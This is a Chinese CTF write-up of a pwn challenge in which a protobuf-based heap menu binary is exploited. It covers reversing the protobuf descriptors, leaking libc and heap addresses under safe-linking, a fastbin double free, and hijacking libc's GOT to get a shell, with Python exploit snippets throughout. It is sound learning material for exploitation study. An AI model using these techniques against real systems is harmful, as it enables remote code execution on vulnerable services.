题目分析
到手一拖史不知道是什么,逆向扣了符号表,很多函数根本看不懂。
字符串交叉引用到主函数,发现首先是开沙箱(这里第一次没注意到没有load规则是个假的沙箱但是本来也没办法就没管)。
主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { __int64 read_ret; __int64 v4; init_and_seccomp(a1, a2, a3); while ( 1 ) { printf ("WHAT DO YOU WANT?\n" ); read_ret = (int )read(0 , buf, 0x200 uLL); v4 = unpack1(0LL , read_ret, buf); if ( !v4 ) break ; menu( *(_QWORD *)(v4 + 24 ), *(_QWORD *)(v4 + 32 ), *(_QWORD *)(v4 + 40 ), *(_QWORD *)(v4 + 48 ), *(_QWORD *)(v4 + 56 ), *(_DWORD *)(v4 + 64 )); buf = (char *)malloc (0x200 uLL); } quit(0LL ); }
沙箱也是光有rule没有load,而且开了沙箱就意味着我们起始的堆布局会比较乱:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); seccomp_rules = seccomp_init(2147418112LL ); seccomp_rule_add(seccomp_rules, 0LL , 257LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 19LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 20LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 0LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 17LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 18LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 59LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 303LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 304LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 322LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 327LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 328LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 428LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 437LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 327LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 296LL , 0LL ); seccomp_rule_add(seccomp_rules, 0LL , 295LL , 0LL ); buf = (char *)malloc (0x410 uLL); return malloc (0x410 uLL);
输入没有提示直接报错,看下面的函数,read我们的输入之后把我们的输入传入了一个神秘函数,完全看不懂。但是内部真正调用的函数指针有一个写好的参数,里面有点奇怪的字符串,heybro之类的:
到这其实就进行不下去了,下面的函数能猜到是菜单但是参数十分混乱,看不懂,遂上网搜索。
Protobuf
这个程序使用了谷歌开发的一种叫做protobuf的序列化协议进行交互的。参考看雪上这篇文章 (讲的很详细,一篇够了)。protobuf是一种类似json的数据流格式,通过.proto文件定义好结构体后借助protoc编译,能将其自动转成各种语言的头文件(内含接口,包括C,python,go等等)供开发使用,还是挺方便的。文章中提到了ciscn2024这道题目,那么我们首先的任务就是逆向出protobuf结构体。
这里还了解到ida其实是有插件的,也有一些别的工具能识别二进制文件里的protobuf结构,但是我都尝试了都分析不了(看到别的师傅的wp也是如此,都是手动分析的)
对C语言来说,整个protobuf的结构体信息被ProtobufCMessageDescriptor
维护,首先要做的就是定位他的magic头,一般是0x28AAEEF9
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 struct ProtobufCMessageDescriptor { uint32_t magic; const char *name; const char *short_name; const char *c_name; const char *package_name; size_t sizeof_message; unsigned n_fields; const ProtobufCFieldDescriptor *fields; const unsigned *fields_sorted_by_name; unsigned n_field_ranges; const ProtobufCIntRange *field_ranges; ProtobufCMessageInit message_init; ... };
其中,结构体的每个字段被一个ProtobufCFieldDescriptor
结构体维护:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct ProtobufCFieldDescriptor { const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type; unsigned quantifier_offset; unsigned offset; const void *descriptor; const void *default_value; uint32_t flags; ... };
这里面涉及到我们还原的有两个枚举类型,label和type
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef enum { PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_LABEL_OPTIONAL, PROTOBUF_C_LABEL_REPEATED, PROTOBUF_C_LABEL_NONE, } ProtobufCLabel; typedef enum { PROTOBUF_C_TYPE_INT32, PROTOBUF_C_TYPE_SINT32, PROTOBUF_C_TYPE_SFIXED32, PROTOBUF_C_TYPE_INT64, PROTOBUF_C_TYPE_SINT64, PROTOBUF_C_TYPE_SFIXED64, PROTOBUF_C_TYPE_UINT32, PROTOBUF_C_TYPE_FIXED32, PROTOBUF_C_TYPE_UINT64, PROTOBUF_C_TYPE_FIXED64, PROTOBUF_C_TYPE_FLOAT, PROTOBUF_C_TYPE_DOUBLE, PROTOBUF_C_TYPE_BOOL, PROTOBUF_C_TYPE_ENUM, PROTOBUF_C_TYPE_STRING, PROTOBUF_C_TYPE_BYTES, PROTOBUF_C_TYPE_MESSAGE, } ProtobufCType;
label类似于数据库的限制条件,允许为空,允许重复,必须填值这种。其实label也不太重要,我们逆向全写optional就行。
在IDA中写好这几个localtype后,定位文件中的结构体并进行还原。可以知道heybro有5个字段,直接写好我们的proto文件:
1 2 3 4 5 6 7 8 9 syntax="proto2"; message heybro{ optional bytes whatcon = 1; optional sint64 whattodo = 2; optional sint64 whatidx = 3; optional sint64 whatsize = 4; optional uint32 whatsthis = 5; }
然后protoc --python_out=. proto_buf.proto
编译成python文件直接用。
以add为例,简单好用
1 2 3 4 5 6 7 8 9 10 import proto_buf_pb2.pydef add (idx,data ): chunk = proto_buf_pb2.heybro() chunk.whatcon = data chunk.whattodo = 1 chunk.whatidx = idx chunk.whatsize = 0 chunk.whatsthis = 0 p.sendafter("WANT?\n" ,chunk.SerializeToString())
程序控制流
分析出这几个字段之后,main函数里面调用的不知所云的函数就直接猜测是翻译字节流还原的了,下面参数混乱的菜单函数也不用管参数,对着选项结合heybro的字段名大概能猜出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void __fastcall menu (__int64 a1, void *whatcon, __int64 whattodo, __int64 whatidx, __int64 whatsize, int whatsthis) { switch ( whattodo ) { case 0LL : nop(); break ; case 1LL : add(whatidx, a1, whatcon); break ; case 2LL : delete(whatidx); break ; case 3LL : show(whatidx, whatsthis, whatsize, a1, (char *)whatcon); break ; case 4LL : _exit(0 ); default : printf ("what?\n" ); break ; } }
菜单的功能也比较怪异。。
add
malloc固定大小0x30的chunk,然后从buf memcpy0x30字节的内容到堆块中。堆指针维护在一个数组里,最大申请idx为8,但是大于8也允许操作,只是idx重置到8.
另外这意味着我们没有largebin的利用了。
1 2 3 4 5 6 7 8 9 void *__fastcall add (unsigned int idx, __int64 a2, const void *whatcon) { int idx_rel; idx_rel = idx; if ( idx > 8 ) idx_rel = 8 ; chunks[idx_rel] = malloc (0x30 uLL); return memcpy ((void *)chunks[idx_rel], whatcon, 0x30 uLL); }
这里有个漏洞点静态分析可能看不出,无论content传入什么长度的内容,它都会copy 0x30字节。这意味着我们如果输入很短的内容可能会把别的脏东西copy到我们的堆块上。事实证明确实是这样。
delete
传入idx进行free,只允许我们释放10次,指针没置空有UAF。但是菜单没有edit功能所以只能用来泄露。
1 2 3 4 5 6 7 8 9 int __fastcall delete (unsigned int idx) { if ( (unsigned int )free_cnt > 9 ) return puts ("No chance!" ); if ( idx > 8 || !chunks[idx] ) return puts ("OOPS!" ); free ((void *)chunks[idx]); return ++free_cnt; }
其实搞懂了之后回来看,只能说释放10次加0x40大小堆块已经有点暗示填满tcache+3次fastbin dup了
show
这个函数是最抽象的,下面看看它干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned __int64 __fastcall show_edit (unsigned int whatidx, int whatsthis, __int64 whatsize, __int64 a4, char *whatcon) { char delim; unsigned int idx; char *chunk_ptr; char fake_ptr_on_stack[15 ]; *(_QWORD *)&fake_ptr_on_stack[7 ] = __readfsqword(0x28 u); idx = whatidx; delim = whatsthis; strcpy (fake_ptr_on_stack, "hahaha" ); if ( whatidx <= 8 && chunks[idx] ) chunk_ptr = (char *)chunks[idx]; else chunk_ptr = fake_ptr_on_stack; printf ("Content:" ); if ( whatsthis == 0xFF ) { seccomp_load(seccomp_rules); strtok(whatcon, &delim); chunk_ptr = strtok(0LL , &delim); } if ( whatsize == 0x30 ) { strtok(buf, &delim); chunk_ptr = strtok(0LL , &delim); } printf ("%s\n" , chunk_ptr); free (buf); if ( ++show_cnt == 3 ) { close(1 ); close(2 ); } return *(_QWORD *)&fake_ptr_on_stack[7 ] - __readfsqword(0x28 u); }
首先,只允许我们打印两次,到3就会关闭stdout和stderr就没法交互了
正常泄露的话,它就会printf("%s",chunk)
如果whatsthis附加为0xff,这里就会装载沙箱然后调用strtok分割whatcon域,很莫名其妙的操作
如果whatsize附加为0x30,这里也会调用strtok,只不过是分割buf(buf也很乱后面再提)
输出完之后会free掉buf
事实上到最后也没用到这上面的分支
沙箱
函数都是死的,交给copilot。前面提到的这个沙箱ban了execve,允许了orw,mprotect,文件描述符复制还有一些别的乱七八糟的东西。其实不用管,只要whatsize不传0xFF它就不会装载。
堆块的操作?
首先,buf这个字段是乱用的。动调断在malloc可以发现,主函数的一个循环会默认有这么几个操作:
malloc(0x48) 一轮循环开头固定
malloc(len(content)+3)
malloc(0x30) -> 我们能读的
malloc(0x200) 一轮循环结尾固定更不要提各种的free。我们能控制的非常有限,但是0x40的fastbin和tcache都是纯净的可以供我们利用。
攻击
思路参考自https://xz.aliyun.com/t/14709,另外看到有师傅[用obstack打](https://rot-will.github.io/page/wp/2024ciscn初赛wp-pwn/#ezbuf),但是我python缺库也没有介绍也看不懂怎么打的就不提了
泄露——tcache和fastbin指针加密
我们只能泄露两个地址,必然是一个堆一个libc。堆可以通过tcache泄露,libc的泄露比较神奇,上面提到了memcpy可能存在的复制脏数据问题,这里其实add(0,b'a'*8)
再读就能发现了,里面是一个main_arena的libc地址,具体的堆排布也没有细看,反正偏移肯定是固定的直接打出来就行。
1 2 3 4 5 add(0 ,b'a' *8 ) show(0 ) p.recvuntil(b'aaaaaaaa' ) libc.address = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x21ace0 print (f"[+] libc_addr={hex (libc.address)} " )
在glibc 2.32之后,tcache和fastbin都对指针进行了加密,原理是原本的指针异或上堆当前页地址右移12位。因此泄露不能随便打,堆地址要泄露tcache头部的块来获得key,因为第一次链入的时候是异或全0的。
这里结合动调来确认指针内容和堆排布。
1 2 3 4 5 6 7 8 9 10 11 for i in range (9 ): add(i+1 ,b'a' *8 ) for i in range (7 ): delete(6 -i) show(6 ) p.recvuntil(b'Content:' ) heap = (u64(p.recv(5 ).ljust(8 ,b'\x00' ))<<12 )-0x4000 print (f"[+]heap_addr: {hex (heap)} " )
fastbin dup
填满tcache之后接下来我们还剩三次free,很难忍得住不用fastbin double free。简单好用任意地址写。
没有edit溢出,chunk内容用memcpy实现大小锁死。也只能这样了。这里可能还有利用程序中其他malloc去布局的方法,但是有点太困难了。
1 2 3 4 5 6 7 8 9 delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i,b'a' *8 ) fastkey=(heap>>12 )+4
一次任意地址写任意值…结束了吗?
现在我们只要申请堆块就能任意地址写任意值了。高版本移除了hook函数,有一个任意地址写任意值来getshell,我自己是想到了house_of_banana.这个利用是程序用exit()
退出的话,有一条_dl_fini->_rtld_global->link_map.finiarray
的函数指针执行流,而函数指针是通过link_map中的l_loaded保存的程序基地址加偏移定位的。具体利用这里不展开,可以参考这两篇blog,后面也会单独写blog(或许):
https://www.freebuf.com/articles/system/345968.html
https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_31
这里我搞了半天发现就是打不通,fini_array里有一个指针是在base+0xbad8处,我在堆块上写好gadget后将l_loaded改成chunk-0xbad8打不通。有点卡住了,因为我们没法再泄露程序的基地址了。aslr会让堆的偏移不固定,我们只能保证heap内部的偏移而无法保证它和程序的偏移,利用链有点断了。
这时候研究wp,发现他任意地址写了一个神秘地点,gdb打印显示是*ABS*@got.plt
, 发给学长询问学长也不懂,但是提供了一个分析思路。在ida中分析libc查这个偏移发现是libc的got表,而且这段是可读写的?!原来是程序开了FULL RELRO但是libc只开了Partial RELRO。而程序中调用到的strlen还有strtok等函数在libc的got表里。我们写这个got为onegadget就能直接getshell了。
所以为什么libc自己这个动态库还要got跳转。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 .got.plt:000000000021A000 ; =========================================================================== .got.plt:000000000021A000 .got.plt:000000000021A000 ; Segment type: Pure data .got.plt:000000000021A000 ; Segment permissions: Read/Write .got.plt:000000000021A000 _got_plt segment qword public 'DATA' use64 .got.plt:000000000021A000 assume cs:_got_plt .got.plt:000000000021A000 ;org 21A000h .got.plt:000000000021A000 dq offset stru_219BC0 .got.plt:000000000021A008 qword_21A008 dq 0 ; DATA XREF: sub_28000↑r .got.plt:000000000021A010 qword_21A010 dq 0 ; DATA XREF: sub_28000+6↑r .got.plt:000000000021A018 off_21A018 dq offset strnlen ; DATA XREF: j_strnlen+4↑r .got.plt:000000000021A018 ; Indirect relocation .got.plt:000000000021A020 off_21A020 dq offset rawmemchr ; DATA XREF: j_rawmemchr+4↑r .got.plt:000000000021A020 ; Indirect relocation .got.plt:000000000021A028 off_21A028 dq offset realloc ; DATA XREF: _realloc+4↑r .got.plt:000000000021A030 off_21A030 dq offset strncasecmp ; DATA XREF: j_strncasecmp+4↑r .got.plt:000000000021A030 ; Indirect relocation .got.plt:000000000021A038 off_21A038 dq offset _dl_exception_create .got.plt:000000000021A038 ; DATA XREF: __dl_exception_create+4↑r .got.plt:000000000021A040 off_21A040 dq offset mempcpy ; DATA XREF: j_mempcpy+4↑r .got.plt:000000000021A040 ; Indirect relocation .got.plt:000000000021A048 off_21A048 dq offset wmemset ; DATA XREF: j_wmemset+4↑r .got.plt:000000000021A048 ; Indirect relocation .got.plt:000000000021A050 off_21A050 dq offset calloc ; DATA XREF: _calloc+4↑r .got.plt:000000000021A058 off_21A058 dq offset strspn ; DATA XREF: j_strspn+4↑r .got.plt:000000000021A058 ; Indirect relocation [.......]
onegadget…?
虽然没有沙箱,但是execve的gadget全都打不通。再回去看wp,发现他使用的-l 1找到的posix_spawn
的gadget。这玩意好像会新开线程,涉及子进程什么的可能gdb会有问题,所以之前用gdb一调就打不通不调就能打通。
思路捋清了之后我自己又改了几个偏移和onegadget但是都打不通。。。只能说确实厉害。那篇将protobuf的blog下面是看了strtok内部的调用strspn然后改了got直接用system,最后传了whatsize=0x30触发分支来getshell的。
onegadget execve的估计这个题都够呛
最后,搞了半天发现house_of_banana之所以不触发,是因为这个程序一是没有main函数return,而是用的退出都是_exit()
而非exit()
,这俩函数在程序里都叫exit但是通过偏移我去libc看了下源码,这个_exit
只有短短几行,没有任何多余处理直接是陷入内核syscall来触发。而我们说的那些调用链,io什么乱七八糟的归根结底都是用户态glibc的机制。exit的内部最后也是调用的_exit
。下次要小心了。。
总结
这道题收获还是不少的:
protobuf通讯get-- √
全新的利用:检查libc的got保护,从libc层面劫持got表,可以借助本地同版本有符号的libc进行定位或者是在ida静态分析libc文件找偏移 – √
高版本glibc的tcache和fastbin指针加密与泄露–√
house_of_banana思路(虽然没成功)–√
_exit和exit的天壤之别 --√